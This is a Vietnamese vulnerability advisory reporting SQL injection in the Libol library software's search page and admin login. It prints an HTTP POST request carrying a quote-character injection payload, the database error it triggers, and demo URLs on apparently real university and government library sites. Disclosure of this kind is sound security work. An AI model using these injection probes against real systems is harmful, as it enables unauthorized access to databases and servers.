Thư viện điện tử - Thư viện số Libol

Phần Mềm: Thư viện điện tử - Thư viện số Libol
Phiên Bản: <= 5.5
Vendor: CÔNG TY CỔ PHẦN CÔNG NGHỆ TINH VÂN
Bug Report: MSSQL Injection Vulnerability.
Mức Độ : Critical

1.Mô tả chung:
Libol (LIBrary OnLine), bộ phần mềm giải pháp Thư viện điện tử - Thư viện số được Tinh Vân nghiên cứu và phát triển từ năm 1997, là sản phẩm phần mềm thư viện điện tử và quản lý tích hợp nghiệp vụ thư viện thành công nhất ở Việt Nam.
Phần mềm này được các trường học sử dụng nhiều, đặc biệt là các trường Đại Học, nên mức độ ảnh hưởng rất lớn.
2.Thông tin về lỗi:
MSSQL Injection cho phép hacker khai thác thong tin về đăng nhập, các thông tin quan trọng của website, nhằm chiếm đoạt quyền điều khiển máy chủ, websites, tiến hành cài đặt và phát tán mã độc.
Module bị ảnh hưởng:
1.Module Search:
Vị Trí: search/location.asp
Ở location.asp, 2 ID là Tai_lieu_ID và Kho_ID do không được filter các kí tự đặc biệt.
Demo:
http://www.lic.vnu.vn:8080/Libol55/s...803310670&Gia=
2. Module Login:
Vì không được lọc các kí tứ đặc biệt khi insert vào form, điều này cho phép hacker khai thác thông tin, update thông tin một cách dễ dàng qua phương thức POST.
Vị Trí: http://victim.com/admin/logon.asp
HTTP Header:
----------------------------------------------------------------------------------------------------------

Code:

Host: victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://victim.com/admin/logon.asp
Cookie: ASPSESSIONIDCACDCDTR=HAHFJONADOABKNAPNPFIAHJC
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

-----------------------------------------------------------------------------------------------------------
Post content
-----------------------------------------------------------------------------------------------------------

Code:

User=%27&Pass=&func=Authen
Và lỗi MSSQL sẽ là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'pltMrViNNHNL6'. 
/admin/logon.asp, line 71

-----------------------------------------------------------------------------------------------------------

Demo:

http://thuvien.mard.gov.vn/admin/logon.asp

3.Kết Luận: Lỗi MSSQL injection gầy hậu qua nghiêm trọng đối với website. Nếu trường hợp mà user có quền SA thì hậu quả còn nghiệm trọng hơn nữa. Người dùng có thể yêu cầu nhà cung cấp phần mềm để cập nhập lên bản mới nhất. Lỗi này sẽ sớm được cập nhập trên các website như securityfocus.com, exploit-db.com .. một khi phần mềm này đã được cập nhập bản vá.

Bug này đã cùng Vncert liên hệ với vendor, Vendor thừa nhận lỗi, nhưng sau đó không đưa ra thông tin bản vá gì. Đã quá lâu rồi nên hnay quyết định publish.

Nguồn: HCE Group